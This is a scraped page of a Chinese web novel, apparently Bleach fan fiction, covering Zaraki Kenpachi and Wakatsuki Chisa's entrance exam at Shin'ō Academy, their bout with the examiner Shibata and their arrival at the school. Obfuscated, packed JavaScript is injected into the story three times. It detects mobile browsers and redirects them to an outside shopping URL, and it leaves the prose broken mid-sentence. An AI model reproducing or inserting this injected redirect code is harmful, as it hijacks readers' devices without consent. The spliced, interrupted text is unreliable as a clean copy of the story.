“哎呀,这家伙就是嘴臭,他其实是在担心你。太早进入学院不是好事,你拥有远超同龄人的灵力,但和我们一比可能就不起眼了。想要出人头地,最好等你长大后灵力更强了再来。到时候说不定能得到护廷十三队的队长们的青睐,直接获得席位呢!” “小小年纪就敢报考真央灵术院,很有胆气和自信嘛!我欣赏你!” “看你这年纪……你是在那里面出生的吗?” 最后一句问话落下,附近一片鸦雀无声,无数道目光如X射线般汇聚在更木剑八身上,灼热逼人。 这句话问得露骨。 流魂街上全是从现世中引渡到尸魂界的死魂,但凡灵力强度没超越一定界限,是没有生育能力的。换句话说,尸魂界的新生儿几乎都是在瀞灵廷中诞生的。更木剑八这个年纪就能释放灵力球,堪称天赋异禀,他们有此怀疑,合情合理。 瀞灵廷是流魂街死魂们的圣地,高高在上。若非灵力高强,他们在二次人生中亦无缘涉足。从流魂街走出的人对那个地方敬畏不已,对住在那里的人也抱持着十万分的好奇心, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382404|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里藏着十万个为什么。 可惜,他们找错了人。 他们对更木剑八饶有兴趣,但更木剑八对他们漠不关心。无论好意抑或恶意,他一律不理,把他们当作空气人。 漠视的态度最是伤人。一个脾气暴躁的少年顿时被点爆火药桶,火气飙升,撸起袖子,高举拳头:“一句话都不回,你小子瞧不起人啊?谁管你是不是那里出生的,欠揍的家伙就该好好教训一顿!” “冲动是魔鬼。这里可是考场,说不准就有考官藏在暗地里观察我们呢。这时候挑事,你有没有考虑过后果?另外。”若月千纱扣住他的手腕,笑吟吟地往下摁,“我弟弟有义务回答你们的问题吗?你们是考官么?嗯?少年,收收你的臭脾气,别不知分寸地在这里丢人现眼。” “放开你的手!” 少年觉得手腕仿佛被禁锢在钢铁之中,哪怕他使出吃奶的力气,也无法挣脱那只看似纤弱的手。他伸出左手去掰她的手指,但那只手依然岿然不动。不仅如此,那只手还越收越紧。他吃痛地松开拳头,眼睁睁地看着自己的手腕一寸寸往下沉。 若月千纱把他的手腕送回身侧,才松开手,轻轻地拍了拍少年的肩膀,粲然一笑:“少年,看你脾气不小,实力却跟不上啊。有时间到处找茬,不如多花点心思在训练上。如果不服气的话,考完试来找我,我随时奉陪。别找我弟弟,他才没空理你这种弱鸡。” 少年难堪极了,脸色一阵红一阵白,却被当头的几盆冷水浇得不敢动弹。 众人左顾右盼,四下打量,又看了看少年手腕处由白转红又转淤青的皮肤,如鸟兽散。 一场争执消弭于无形。 姐弟两人重获清静。 接下来的时间里,又有一些考生陆陆续续到来。而后,一个穿着死霸装的死神踩着考试时间姗姗而来,后面跟着几个抱着报名表的助手。 他甫一露面,更木剑八便兴奋起来,跃跃欲试地看向他。 若月千纱哪里不知道自家崽崽什么德行,手臂勾住他的脖子,将他定在原地:“别乱来。想挑战他的话,考试结束后随你,我会帮你。” 臂弯里的人终于安分下来。 若月千纱盯着死神身上的死霸装看了一会儿,满足好奇心后提升视线高度,看向他的脸。 死神的年龄看着不大,大约二十六七岁的模样——在尸魂界,外貌年龄做不得数,他的真实年龄可能是几十岁,也有可能是几百岁——他看了看场内密密麻麻的考生,眉间一蹙,扶额道:“哎,摊上了一份苦差事。谁让我猜拳输了呢,真倒霉。” 用这句话当开场白真的没问题吗? 此话一出,全场愕然。在一众流魂街死魂们的心目中,死神的地位蹭蹭往下掉,加诸于真央灵术院的神圣光环瞬间黯淡几分。 “不好意思,刚才的话你们就当没听到吧,那都是宿醉的错。”死神见考生们神色不对,清咳一声,板正歪歪斜斜的身体,脸色一肃,“大家好,我是这一届的主考官柴田木原,负责你们的入学考试,旁边这几位负责监考。通过考试的考生留下入学,没通过考试的考生淘汰,回家多锻炼锻炼,过个几十年再来吧。” 32.第三十二章 这个解释也不太妙吧?督考前酗什么酒啊! 不过,考生们无心再吐槽主考官,而是把注意力集中在他后面的话上。 入学考试会考些什么呢?报名的时候,那个负责人嘴巴和蚌壳一样,不肯透露半点口风,他们只能暗自揣测。 真央灵术院毕竟是死神培训机构,考核的一定是和死神有关的基础能力,譬如…… 柴田木原没有卖关子,直接宣布道:“第一场考试,灵压测试。叫到名字的人上前释放灵压。” 果然如此,毫无悬念。 考生们没有疑义,一个个如流水线般按顺序小跑到考官面前进行测试,监考员各司其职,有的负责维持秩序,有的负责记录考生的考核结果。 第一场考试虽然简单,却又无比残酷。 只需要几秒钟,柴田木原便能决定一名考生的命运。 “淘汰。” 一张报名表被无情地撕毁,丢弃于地上,淘汰掉的考生也被撵出考场。 “过关。你是1号。” 他把报名表递给监考员,监考员在报名表上标上序号,递给合格者一块标着序号的木牌,让他退到人群后面等待下一场考试。 “淘汰。” “淘汰。” “淘汰。” “过关。你是2号。” 毫不留情的宣判让考生们噤若寒蝉。宽敞的考场内落针可闻,只听得到柴田木原的声音。 若月千纱竖起耳朵听了一阵子,大致估算了一下考试的合格率。 二成左右。 也就是说,十个人中大概只有两个人过关。 若月千纱咋舌。难怪这么多人考试,却只安排了一个考官。这才是第一场考试呢,后面的考试中,剩下的人只会越来越少。 报名表是按照报名时间排序的,若月千纱和更木剑八是在极限时间报的名,排在最末。不过,由于每个考生的测试时间很短,他们只等了不到两个小时,便轮到了他们。 柴田木原百无聊赖地打了个大大的呵欠。 他测试完几百号人,只剩下两个人就能结束第一阶段的考试。其中,只有寥寥数人的灵压还算优秀,其他过关的考生灵压强度只能算一般。看样子,这一届的考生质量不行,出不了力压群雄的天才。 他把目光移向下一张报名表,边打呵欠边叫到:“更木剑八……剑八!?” 他见鬼一般盯着报名表上的名字,神色怪异,朝走到面前的更木剑八语重心长道:“小家伙,我劝你改个名字。这个名字对你来说……不祥。” 更木剑八摇头:“无所谓,我不信那些。这是千纱给我起的名字,我不改。” “诶?”若月千纱闻言,一脸懵逼,“这个名字……” 这个名字是他父母给他起的吧?他们初见时,系统直接把这个名字打在光屏上了哎! 不对,剑八姓“更木”,他们的初见地就是“更木区”。姓氏为“更木”的剑八被魂葬后刚好被随机分配到更木区,世上真有这么巧合的事情吗?流魂街可是有整整320个区啊! 1/320之一的概率,怎么想都觉得不对头。按照考官的提醒,“剑八”这个名字似乎也大有来头。在尸魂界,“更木剑八”这个姓名,姓氏和名字都别有寓意。剑八在现世时,真的叫做“更木剑八”吗? 若月千纱的念头百转千回,话音一转:“考官大人,这个名字为什么不祥?” “不,‘剑八’是剑术最强的死神的称号。所以,他不该叫这个名字。当然,听不听劝是你们的自由。”柴田木原讳莫如深地转移话题,“好了,闲话不多说。更木,释放你的灵压。” 名字和剑术最强的死神称号重合确实有点尴尬,容易被人拿名字开玩笑。可这和不祥有什么关系? 若月千纱犹疑地瞥了一眼考官,视线转向身旁的蓝紫色蝴蝶。 这个变形为蝴蝶的系统似乎来头不小,神秘至极,就连死神都发现不了它的存在。它给剑八起名为“剑八”,想必二者之间有什么渊源。难道,剑八以后会成为“剑八”吗? 她移目看向更木剑八。 他已经释放出灵压,周围一片空间顿时变得阴森可怖,散发着堪比泰山压顶的压迫感。 她早已习惯他的灵压,只是稍有不适。遗憾的是,考生们并不具备她的承压能力。 在感知到他的灵压后,考生们不由得面色大变,大部分人不堪地跪倒在地,在那股威压下甚至抬不起身体,满脸虚汗,而剩下的少数人也只是勉强站在地上,身形摇摇欲坠,几个监考员也骤然色变。 说实话,若说“剑八”是灵压最强的死神的称号,她反而更能接受,自家弟弟绝对有那个潜力在。但剑术最强……不是她谦虚,他真的不太可能成为和这个称号相匹配的死神。 因为——剑八的剑术真的很稀烂啊!为了享受战斗的乐趣,他根本不愿意向她学习斩术。每次和她对砍时,他都是胡乱挥舞武器,靠莽力一力降十会赢过她。剑术于他,实在派不上用场。 “好强的灵压!竟然有接近高级席官的强度……”柴田木原脸色微变,看到在场考生们的窘状,高声喝道,“更木,快把你的灵压收起来!” 更木剑八收敛起自身灵压,那几个还勉强站着的考生们身上一松,骤然失力,跌倒在地。 若月千纱环顾满地全军覆没的考生,他们失神地凝视着更木剑八,眼中流露出相同的恐惧和敬畏。她特别关注了一下,那个在考试前曾经和更木剑八起过争执的少年,脸上写着满满的后怕。 “哎呀!”若月千纱眉宇紧锁,嘟囔道,“这下剑八要怎么交朋友啊……” 她在脑海中构建出的剑八及同期好友勾肩搭背、愉快嬉戏的美好蓝图,此刻已化作海市蜃楼,不复存在。 “更木剑八,考试通过,135号。” 柴田木原悄悄地抹了一把虚汗,酒意和困意荡然无存。 考官真不是好当的,他的灵压居然只比一介刚准备入学的考生略高一筹。如果他的灵压再弱一些,他的脸要往哪搁?这要传出去,他能被损友笑话几百年。 “若月千纱。” 若月千纱释放出灵压。 她的灵压远远不及更木剑八,但比起在场考生,也算出类拔萃。 考生们刚从地上爬起来,腿还处于发软状态,被同样规格外的灵压一激,再次趴倒在地。 柴田木原点头赞许:“不错,你的灵压等级接近精英死神,过关。136号。” 他悄悄地又抹了一把虚汗。 他之前还担心之前那个小家伙的姐姐灵压比他厉害,那他岂不是……真是万幸,万幸。 “第一场考试到此结束,合格的考生跟我们去下一个考场。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13399817|135753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柴田木原及监考员们带着136名考生走出第一个考场,拐了几道路,进入第二个考场。 考生们心有余悸之下,和若月千纱二人保持几步距离,缀在他们身后。 “啊拉,这是被孤立的节奏吗?罢了,看来我们和同期无缘呐。” 第二个考场比第一个考场更宽阔,里面有着长长的跑道,空旷处摆放着各式各样的设备器材。 “第二场考试,测试你们的力量、速度、灵活度等。按序号排序,分组测试,十人一组,最后一组不满10人,6人一组。” 第131-134号的考生们在其他人同情的目光中露出一丝丝侥幸的希冀。 灵压强不代表各项能力都强,况且他们一个是年纪不大的小孩,一个是柔弱的少女,他们不会一直都是衬托红花的绿叶,对吧? 无情的现实告诉他们,他们的想法虽对但错,因为他们遇到了两个例外。 更木剑八在每一项测试中都是当之无愧的第一,力压所有人一个头。而看似柔弱的若月千纱虽不如他厉害,但在每一项测试里都名列前茅,综合实力依然排在第二。 众考生看着姐弟二人,无语凝噎。 在这场考试中,柴田木原没有淘汰任何人,136名考生共同进入第三个露天考场,开启了最后一轮测试——笔试。 若月千纱十分意外:“啊咧?最后一场考试不该是全武打吗?” 柴田木原仿佛听到了她的小声嘀咕,解释般说道:“想要成为死神,武力必不可少。但是,想要成为优秀的死神,除了武力,还需要聪明的头脑。我们真央灵术院培养的不是武夫。所有考生入座,准备考试。等我喊停的时候,所有人交卷。被发现抄袭的考生直接淘汰。” 笔试开始。 若月千纱看着试卷上为数不多的题目,头顶上冒出一个又一个问号。 这场笔试考的竟然是尸魂界的基础常识! 对于出身于北80区、常识严重匮乏、爱好是战斗、有空就训练、偶尔在打工、常年在赶路的人来说,这份卷子堪比天书。 若月千纱抓耳挠腮,好不容易才从脑子里捕捉到的一点点信息填到卷子上。 待柴田木原喊停时,若月千纱的卷子才填了不足三分之一,且每道题目的答案言简意赅,不足两行。 即便这样,她也比更木剑八强。更木剑八只填了名字和他的编号,交了白卷。 几个监考员奋笔疾书,当场飞快地批阅出成绩。 听到监考员们公布成绩,考生们都惊呆了。 135号和136号到底是怎么回事!? 更木剑八和若月千纱之前的超常表现让众人误以为他们在瀞灵廷里长大的孩子,自小接受精英教育,智勇双全。不料,二人却包揽了全场的倒数第一和倒数第二名,惊掉所有人的下巴。 他们真的是从瀞灵廷走出来的考生吗? 二人身上疑团重重,看向他们的目光平添几分犹疑。 若月千纱无心关注他人看法,惴惴不安地等待考试结果,心脏砰砰直跳。 三场考试,两场名列前茅,最后一场垫底,分数可谓极端。合格?不合格?结果难料,端看学校如何评定抉择。 她个人认为他们十有八-九能通过考试,毕竟战斗力才是死神最硬核的标准和底线。然而,事事皆有万一,她怕他们不幸正中红心。 33.第三十三章 柴田木原没有卖关子,很快便宣布了最终结果。 若月千纱大跌眼镜。 他们被淘汰了? 不,他们合格了。 不止他们,在场的136名考生全员通过入学考试。 据柴田木原所言,第一场考试是筛选入学者的唯一考核,第二场和第三场考试则是学校评估未来学生们各方面能力的渠道。他们会根据考试结果,对学生们因材施教,进行针对性的培养。 考生们的表情五花八门。后两场考试中表现不佳者缄默不语,暗自窃喜,巴不得其他人不要向考官刨根问底,以免导致他们丧失入学资格。但是,总有人不依不饶地发出疑问:“为什么第一场考试能决定最终结果?” 发问者被人怒目而视,却不管不顾,好奇的视线紧紧地粘在考官身上。 柴田木原顾及目前的身份,把某些词汇咽下肚子,收敛着说道:“我们学校不比现世的私塾,不是随便一个人交钱就能入学的。六年的时间,体弱的家伙能够锻炼出强健的体魄,笨蛋也能学会一些知识。但是,灵压那玩意儿不一样,每个人的灵压上限都是天生的,无数人一辈子都无法拥有你们现在的灵压强度。而且,它无法在短期内急遽增长,需要大量时间逐步提升。我们学校是培养死神的地方,灵压弱的家伙没有资格进入。在座的新生们,不,死神候补生们,恭喜你们入学。” 在一片欢呼雀跃声中,若月千纱不由得放松身心,跟着露出微笑。 这一放松,她身旁的人便“嗖”地一声蹿了出去:“考官,我们来打一架吧!” 更木剑八的举动让全场躁动起来。 “初生牛犊不怕虎,你赢了我们,就以为自己打得过真正的死神吗?狂妄至极!” “柴田大人,请您接受他的挑战!这种不知天高地厚的小鬼就该被人好好教训一顿!” “别因为对方是个小孩就手下留情!让他尝尝您的厉害!” “打起来!打起来!打起来!” 死神候补生们血气方刚,之前被更木剑八狠狠地下了一回面子,便想从其他地方找补回来。见他不要命地向考官发起挑战,有几个好事者便你一言我一语地煽风点火,迫不及待地想要看他狠狠栽个跟头。其他人看热闹不嫌事大,也在一旁瞎起哄。 当然,其中还有些微不协调的杂音,却转瞬淹没于声音的洪流中。 起哄声越来越整齐划一,越来越响亮,颇有逼柴田木原接受挑战的架势。 “这些小鬼……”柴田木原面露无奈之色,挠了挠脑袋,一副心不甘情不愿打算认命的模样,突然嘴角一扬,“我凭什么听你们的?要不要接受他的挑战是我的事,你们管不着。我没空陪小鬼玩耍,再见~” “啊——” “什么嘛——” “真失望!” 死神候补生们被他戏耍一回,失望透顶,纷纷抱怨起来。 柴田木原嘿然一笑,抬头看了看天色:“下班下班,找人喝酒去……嚯,更木,你干什么?” 更木剑八收回没踢中目标的小短腿:“先礼后兵,千纱教我的。” “喂喂喂,剑八,你实诚过头啦!”若月千纱不意被自家弟弟背刺,转头摆出一脸无辜样,“不对,我没让你把这一套用在考官身上啊!” 柴田木原,快看我无辜的双眼! “哦哦哦——柴田大人,快教训教训这个以下犯上的家伙!” 峰回路转,柳暗花明。死神候补生们见状,自觉地往后撤开,留给他们足够的空间进行战斗,并不约而同地用身体堵住考场唯二的出口。 “太嫩了,小家伙们!” 柴田木原施展瞬步,从大家的心理盲区——没有天花板遮拦的头顶上空飘然离去。 哼哼哼,挡住地上的两个出口又怎样?这群小家伙可没有本事拦住他走空路—— 一双手臂抱住他的腰,带着他急速下坠。 这可不是靠跳跃就能够得上的高度! 他大吃一惊,低下脑袋,视线对上一双眨巴眨巴的大眼睛。 若月千纱落地,迅速撤回双手,后退一步,眨了眨眼睛,歪了下脑袋卖了个萌,讨好地笑道:“抱歉哈,柴田大人,此路不通。我之前答应过剑八要帮他向您挑战,总不能言而无信嘛。您能谅解我的无礼吧?” 柴田木原挑了挑眉。 他特别留意过姐弟俩的报名表信息,知道他们非但不是来自瀞灵廷,而且是从流魂街最贫瘠的地方走出来的。80区的小姑娘竟然会瞬步?他觉得挺有意思的。 “你——又来?”柴田木原侧身躲过更木剑八的拳头,视线和他交汇,“为什么非要和我打架?” “因为你很强!” “你喜欢打架?” “我喜欢和强者战斗!很痛快!” “啧,原来是个小战斗狂。我和你说,比起战斗,喝酒更有意思——” “柴田大人,您在胡说些什么?我家剑八还是个孩子呢!” “尸魂界里不能只看外表,你弟弟绝对不止十五岁,按现世的年龄算,已经是成年人了!再说了,凭他这副强壮的身体,再怎么酗酒都喝不坏的!” “那也不能教他喝酒啊!酗酒是恶习!” “这是偏见!酒是个好东西——” “你们闭嘴!专心战斗!” 斗嘴中的两人瞬间闭口不言。 若月千纱听话闭嘴,是因为她发觉自己这么做分散了柴田木原的注意力,让他无法专心致志地和更木剑八战斗,扰了自家弟弟的兴致;柴田木原闭嘴,是因为更木剑八下手更加狠辣,让他不敢再分心聊天。 越和更木剑八交手,他越震惊。 这个小鬼令人惊叹的地方何止是考试中暴露出的高灵压和强健的身体能力?在战斗方面,他也有百年难得一遇的天赋! 他柴田木原是什么人?他可是堪比护廷十三队上级席官的优秀死神!但是,徒手和眼前这个毛头小子肉搏,他竟觉得自己隐约落入下风?不对,他确实落入下风了! 观战的死神候补生们没有这么好的眼力,看不出他们之间微弱的差距,只觉得二人打得势均力敌。 “不是吧,这小子竟然和考官打得不分上下?” “柴田大人一定是手下留情了!……应该是吧?” “没错!柴田大人都没拔刀……不过对赤手空拳的人拔刀好像很无耻啊。” “柴田大人加油!别输给那个小子!” “更木剑八……那家伙是怪物!” 舆论的导向不妙! 柴田木原进退维谷。 只靠白打,他略逊一筹,很快就要暴露出颓势。若是用上斩术、瞬步或鬼道,他胜之不武,这张脸还要不要了? 要么丢脸,要么没脸,二选一真的好难。 “真是倒了大霉!昨天我的手气真是烂到家了!” 柴田木原欲哭无泪。 原以为只是件麻烦差事,现在竟然变成了烫手山芋。鬼知道这一届的考生里会有这么个刺头在啊! 我懂你的痛。 若月千纱同情地看着柴田木原,嘴角抖了抖,情不自禁地往上翘了翘。 呀,这出戏真有趣。偶尔做个观众也不错。 柴田木原看懂了她眼中的幸灾乐祸,目光一凝,和她深情对视。 管管你弟弟!快把他带走!点到为止对大家都好!不然…… 嚯! 若月千纱接收到讯号,郑重其事地点了点头,振臂一挥:“剑八加油!赶紧把柴田大人的真本事逼出来!” 喊完后,她朝柴田木原灿烂微笑,一脸“快来打我”的跃跃欲试。 ……原来他姐姐也是个战斗狂啊。 柴田木原对自己之前过于轻敌而没有及时抽身感到后悔不迭。 明知道两边都是坑,为什么他非要去踩其中一个坑呢? 就在这时,天降救星。一个和柴田木原穿着同款死霸装 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柴田木原走出考场后,诧异地向后张望:“诶?那个小鬼竟然没追上来?真放我走啦?” 他刚才急着脱身,没有关注那个小鬼的动向。那个小鬼的战斗欲旺盛得很,他其实不奢望能够轻易摆脱小鬼,没想到一试之下便成功了。 他口中的朋友没注意到刚才中断的战斗,跟着回头看了两眼空荡荡的身后,疑惑道:“什么小鬼?” “对了,他个子太矮,差不多这么高,你可能没看到他。”柴田木原的手掌在胸前比划了一下,思索两秒,往下压低半个头高度,补充道,“他是这届新生中的最强者。” 朋友垂下眼睑,目测高度:“侏儒?” “噗——咳咳咳……”柴田木原被他的猜测逗笑,不小心呛到空气,狼狈地咳了起来,“咳咳咳……呼,那可是个真正的小鬼,货真价实的天才。啊,说起来,你负责教导低年级学生白打技能吧?” “明知故问。”朋友白了他一眼,发现他脸上明明白白地写着“怜悯”二字,又翻了白眼,“你觉得我会输给那种小孩子?别小看我,我的白打只比你弱一点点。” 柴田木原意味深长地拍了拍他的肩膀:“加油。” “哈?这话听起来莫名让人觉得不爽。” “那大概不是你的错觉。对了,那个家伙呢?” “说是在老地方等我们。你这个人净带头教坏学生,难得见你关注新生,不会也想对那个小鬼下手吧?” “别冤枉我,那家伙本来就是那副德行,怪不到我身上,我们只是意气相投。”柴田木原反驳道,“而且,那个小鬼对酒完全不感兴趣。” “那叫臭味相投。”朋友纠正他的说法,眉毛一扬,“我只是随口说说,没想到你真的动了歪念头?” “才没有呢。你不用操心他,那个小鬼有人盯着呢。他姐姐……说起来,他姐姐也不是一般人啊。”柴田木原回想起若月千纱娴熟的瞬步,“接下来的六年应该不会无聊。” “所以……你盯上的是人家姐姐?” “怎么可能!” 另一端,被人念叨的某人突然鼻子一阵发痒。 “阿嚏!阿嚏!” 若月千纱扭头狠狠地打了两个喷嚏,才释放出体内那股强烈的痒意。 她舒展双臂,归还怀中的小囚犯自由,露出贼笑:“忍得好,剑八。他不肯动真格,打起来多没劲,现在缠着他打不划算。但是,放他走的话,你以后就有理由隔三差五找他战斗,不限次数。谁让他说话不谨慎,没有给出时限呢?不好好利用这个机会就是傻子。” 在他们的旅程中,若月千纱总能想方设法让原本避战的对手应战,并在战斗中竭尽全力。在这方面,她信誉极佳。因此,更木剑八愿意听她的话,暂忍一段时间。 他把视线投向无人的出口,眼神里闪烁着猛兽盯上猎物的、志在必得的目光。 34.第三十四章 真央灵术院开学报到日。 柴田木原踩着点到达报名处,目光一扫,便数清了在场新生人数。 136名新生一个不多,一个不少,全员到齐。 “所有人跟我来。” 他抛下这句话,带着136条小尾巴走向白道门。 一道灼热的视线胶着在他的后背,让他如芒在刺,不禁绷紧身体。无需确认,他便知道那道散发着强烈战意的目光源自于谁。 战斗狂很麻烦,更麻烦的是,这个战斗狂是个小孩子,而小孩子一向随心所欲,心中少有大局观,会做出什么事情,谁也无法预料。 那个小鬼不会从背后偷袭他吧? 柴田木原暗自提高警惕,以免阴沟里翻船,想要尽快把这群烫手山芋交给学校好开溜的心情变得更加急切。 他加快脚步,径直走向白道门,对看守白道门的守护者亮出通廷证:“开门。” 守护者是个高约十米左右的巨人,身材魁梧,却恭恭敬敬地朝个子不及他膝盖的柴田木原应道:“是,大人。” 他走到白道门前蹲下,伸出双手,手指插入白道门下方,气沉丹田,大喝一声,双臂运劲,一下子将高达几十米高的大门抬过头顶。 “哇——” 新生们眼睁睁看着那扇他们高仰脑袋仍无法看清全貌的石门被他独自抬起并稳稳撑住,瞠目结舌。 “发什么愣?进门,跟上。” 柴田木原一马当先,从守护者身旁走进白道门。 新生们抬眼看了看那扇悬停在半空中的大门,唯恐守护者独力难支,被落下的庞然大物砸中,争先恐后地跟着他跑进门。 更木剑八站在门外,仰头看着守护者,一动不动。 若月千纱一看就知道,自家崽崽见猎心喜,又燃烧起旺盛的战斗欲。 啧,自家崽崽真是个战斗狂,大象和蚂蚁般的体型差都没能削减他的斗志。换做是她,她可没兴趣进行这种悬殊的战斗。 她手臂交叉,在身前摆出一个大大的叉:“不可以,剑八,不许胡来。你要是现在对他出手,我们绝对会被扔出瀞灵廷,列入黑名单,这辈子再也没办法和死神对战!你好好想想瀞灵廷里满地比他更厉害的死神!” 更木剑八看了看守护者,又瞅了瞅瀞灵廷中心位置,心里一番挣扎后,眼中的光芒黯淡下来,不情不愿地迈开了脚。 她家崽崽真听话! 若月千纱幻视到他头顶上耷拉的狗狗耳朵,忍住想要撸他脑袋的冲动,不疾不徐地随他一起走进白道门。 断后的若月千纱刚进门,巨大的石门便缓缓下降,在一阵石头摩擦声中,严丝合缝地与地面融为一体,竟没溅起多少灰尘。 众人一阵牙酸,而后不约而同地发出感叹:“哇——” 柴田木原拍了拍手掌,把新生们的目光吸引回来:“走了。” 新生们的目光重新集中在他身上。 柴田木原瞟了他们一眼,带领他们走向真央灵术院。 新生们走在瀞灵廷内的宽敞街道内,脑袋跟陀螺似的,一会儿左转一会儿右转,瞻仰着他们心中的圣地。 瀞灵廷里风景优美,随处可见大片的翠绿草地、郁郁葱葱的树木。街上的房屋和流魂街的不同,简洁大方,形制相似,大多由浅色墙壁、黄褐色瓦片屋顶构成,鳞次栉比地坐落在巨大的环形街道上,看起来非常整齐壮观。 若月千纱的关注点和他们截然不同,滴溜溜地转动眼珠子,捕捉在瀞灵廷外围难得一见的身影。 短短的一段路程,她便见到了一队巡逻中的死神。他们穿着黑色死霸装,腰配制式形同的打刀,看起来精悍强壮,孔武有力。 若月千纱盯着他们腰间的打刀,那长度,那形状,那材质,她觉得好眼熟啊。 尸魂界的打刀都打造得差不多吗? 她下意识伸手捞向陪伴自己多年的打刀,却摸了个空。 她垂眸看向空荡荡的腰间,恍然想起,那把打刀因她多年以来的多功能式错误用法造成不可逆的磨损,早在两年前便不幸断裂成两半,被她抛弃于某个不知名的旮旯角落里。 她默默地放下手,重新把视线移回死神们身上,内心蠢蠢欲动,好战的小火苗默默地燃烧起来。 在她身侧,一股冲天的战意瞬间爆发开来,令人侧目。 “糟糕!” 若月千纱心中刚点燃的火苗蔫蔫地熄灭了。 她以闪电般的速度伸出手,拽住了险些如脱缰野马般往外蹿的更木剑八的手腕。 “剑八,来日方长!快想想我刚才和你说的话!收起你身上挑衅的气势!” 拉扯着她往外走的巨力如水银泻地般消失,但身旁那股战意却如过山车般时起时伏,无论如何都消不下去。 她家弟弟哪里都好,就是有些毛茸茸的小毛病,见到强者就战意澎湃,非要打一架才好转。 若月千纱朝死神们歉意一笑,拉了拉更木剑八的手腕,想要拉着他跟上队伍。 “走啦走啦,以后会有机会的。” 她没拉动。 更木剑八下盘极稳,杵在原地不肯挪脚。 若月千纱往手上多施加了几分力气,用力拉着他往前走。 更木剑八没有挣脱她,仰面朝上,被硬生生拖行着,眼睛仍恋恋不舍地盯着那队死神。 他的动静那么大,柴田木原怎么可能没发现?他朝那队死神打了个手势,让他们无视身后的姐弟,再次加快脚步。 幸好,真央灵术院距离白道门不远。没一会儿,柴田木原便把新生队伍带到了新生报到处,把他们交接给了学校。 甩掉这个大包袱后,柴田木原瞥了一眼把刚把注意力从他身上移向报到处负责人的更木剑八,脚底抹油,一身轻松。 他负责的是中年级学生的斩术课程,至少有两年时间不用和这个小鬼打交道,真是太好了! 柴田木原走得轻松洒脱,没发觉新生群里的某个学生朝着他的背影露出了瘆人的阴险笑容。 “青山不改,绿水长流。我们很快就会再见面啦!” 真央灵术院里的教职工们个个都是流魂街上难得一遇的强者,一次次触动更木剑八的战斗欲开关。若月千纱费了老大的劲,才压制住更木剑八,成功完成新生报到,并领到了校服。 真央灵术院的校服是统一制式的服装,不分男女,皆是狩衣差袴。男生是白色狩衣和蓝色差袴,女生是白色狩衣和红色差袴。狩衣的袖子外侧各有几道粗细不一的条纹,从胳膊处延伸至袖口,同样以蓝色和红色区分性别。 若月千纱领到的校服非常合身,更木剑八的校服却尺寸偏大,穿在他身上空空荡荡的宛如麻袋,看起来像个偷穿大人衣服的小孩。 “哎呀,这已经是最小尺码的了。我们学校从未收过像你这般大小的学生,没有事先准备适合你尺寸的校服。你先穿这套校服将就一下,我会尽快帮你订制新校服。” 若月千纱乐呵呵地看了眼被衣服衬得返龄的崽崽,朝他鞠躬道:“麻烦您了。” 报到完毕后,是新生们熟悉学校的时间。 真央灵术院和瀞灵廷一样,用圆形的外墙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她仰望着木制天花板,脑海中浮现出北80区那些布满他们生活痕迹的房间。当初,她对它们弃如敝履,此刻却心生怀念:“为了帮你扫盲,屋子里的每一寸角落都刻满了文字、数字和图画。不知道那些痕迹还在不在……扑哧,现在回想起来,那时我们糟了大罪,互相折磨,结果却是在做无用功,真是够好笑的……” 她笑着转头,又对上了一片寂静。 她收敛起笑意。 朝夕相处小数十年,她早已习惯他一直在她身边。甫一分开,她竟有些不适应,心底有些空空落落的。 “罢了,睡觉吧。” 她洗漱后,重新躺回榻榻米,合上双眼。屋里安静至极,她只听到自己的呼吸声。 没有鼾声的夜晚格外宁静,适合睡觉,但她难以入眠。 独自一人,只有系统陪伴,和北80区房屋相似的空间,这些因素叠加在一起,挑起了她不好的回忆。 那时的她刚从黑暗中苏醒,记忆残缺,弱小无力,不知来处,亦不知归途,整夜整夜不敢合眼,只能通过充实的训练强身壮胆、驱赶迷茫。 “真是讨厌,已经很久没想起这些事了。” 她厌恶地皱了皱眉,侧过身体,将自己蜷缩成一个球。 许久后,她又翻了个身,舒展手脚,将自己摊平在榻榻米上。 “明天得早点去接剑八一起做训练呢。学校的训练场那么大,应该有不少人做早训吧。或许,里面会有几个实力凑合的家伙,能和我们过过手,让剑八宣泄掉一些今日累积的战意吧。” 不知又过去多久,她才迷迷糊糊地睡了过去。 次日,她一大早前往男生宿舍,却没能接到人。 更木剑八不在宿舍里。 他失踪了。 35.第三十五章 “答应我的事,剑八一定会做到,上午他不可能在我来之前跑出门。真央灵术院威名在外,就算有人胆敢潜入学院作乱,也不可能特意掳走区区一名无名新生。排除一切不可能……啊,原来是这样!我怎么就没有注意到那个漏洞!” 若月千纱找到了最后一种可能性。 她翻出男生宿舍,在学院里四处寻找失踪人口。 幸好她起得特别早,大部分人都在蒙头大睡,宿舍外少有人在,给她减轻了不少难度。 她在校园内时而狂奔,时而使用瞬步,用极短的时间地毯式搜寻了一遍,仍未找到更木剑八的踪迹。 她看向校舍外的围墙,否定地摇了摇头。 